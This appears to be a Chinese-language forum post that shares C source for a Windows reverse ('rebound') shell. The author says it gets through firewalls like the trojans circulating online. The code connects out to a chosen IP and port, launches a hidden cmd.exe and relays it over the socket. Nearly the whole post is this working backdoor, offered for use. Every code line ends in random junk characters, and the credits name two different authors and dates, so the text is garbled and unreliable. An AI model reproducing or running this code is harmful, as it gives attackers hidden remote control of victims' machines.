这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tEl_a~s*3?
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/* ============================== &Z%|H>+;T
Rebound port in Windows NT tjWf`#tH>H
By wind,2006/7 oRZ--1oR_
===============================*/ 4cQ|"sOzD
#include rI;84=v2&9
#include fKkH
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#pragma comment(lib,"wsock32.lib") Cj3C%W
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void OutputShell();
.{-C*
SOCKET sClient; N^@aO&+A
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j3_vh<U\
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void main(int argc,char **argv) n*nsFvt%o
{ o >?#$~XNv
WSADATA stWsaData; k=``Avp?
int nRet; Z+M* z;
SOCKADDR_IN stSaiClient,stSaiServer; {<#~Ya-
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if(argc != 3) oJln"-M1nx
{ >j}.~$6dj_
printf("Useage:\n\rRebound DestIP DestPort\n"); m6iQB\ \
return; =ec"G2$?"
} d7i 0'R
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^wTod\y
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;Q8LA",5d
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stSaiClient.sin_family = AF_INET; Puodsd
stSaiClient.sin_port = htons(0); @p$$BUb
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uYy&<_r
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l
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{ rJws#^]
printf("Bind Socket Failed!\n"); z]33_[G1U
return; 'rSP@
} JV_V2L1Ut
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stSaiServer.sin_family = AF_INET; _YPu
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FAbl5VW'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L.R4 iN
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w\(;>e@
{ Xn3
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printf("Connect Error!"); ,HHCgN
return; KXvBJA$
} ReZ&SNJ
OutputShell(); ZgH(,g,TU
} RM `zxFn
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void OutputShell() r.#"he_6!.
{ _+NM<o#A
char szBuff[1024]; YfZ96C[a
SECURITY_ATTRIBUTES stSecurityAttributes; f>kW\uC
OSVERSIONINFO stOsversionInfo; i?D
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jp|1S^b
STARTUPINFO stStartupInfo; *@SZ0
char *szShell; Im<(
PROCESS_INFORMATION stProcessInformation; z(JDLd
unsigned long lBytesRead; p0Ra`*f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); dp~] Wx
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1?hx/02
stSecurityAttributes.lpSecurityDescriptor = 0; -er8(snDQ
stSecurityAttributes.bInheritHandle = TRUE; Yj/[I\I"m
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hQPNxpe
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <WCTJ!Z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); MF]EX
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^mZ eAW
stStartupInfo.wShowWindow = SW_HIDE; H(,D5y`k1
stStartupInfo.hStdInput = hReadPipe; 3,[#%}1(S
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2B`#c}PP
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GetVersionEx(&stOsversionInfo); j]5mzz~
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switch(stOsversionInfo.dwPlatformId) d&apu{
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case 1: [44C`x[8M+
szShell = "command.com"; V9cKl[
break; =}^J6+TVL
default: P{ HYZg
szShell = "cmd.exe";
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break; +q-/~G'
} K]s*rPT/,
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?D8+wj
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send(sClient,szMsg,77,0); w_hN2eYo&e
while(1) 6<>T{2b:(p
{ IwJ4K+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y3{F\K
if(lBytesRead)
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{ 6L4<c+v_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B?pNF+?'z
send(sClient,szBuff,lBytesRead,0); T**v!Ls
} 4Ow0g-{
else IqrT@jgN-
{ z [9f
lBytesRead=recv(sClient,szBuff,1024,0); '#Pg:v_
if(lBytesRead<=0) break; /.>8e%)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (W'.vEl
} RjW<
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} I/V lH:o
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return; .{ +Obi
}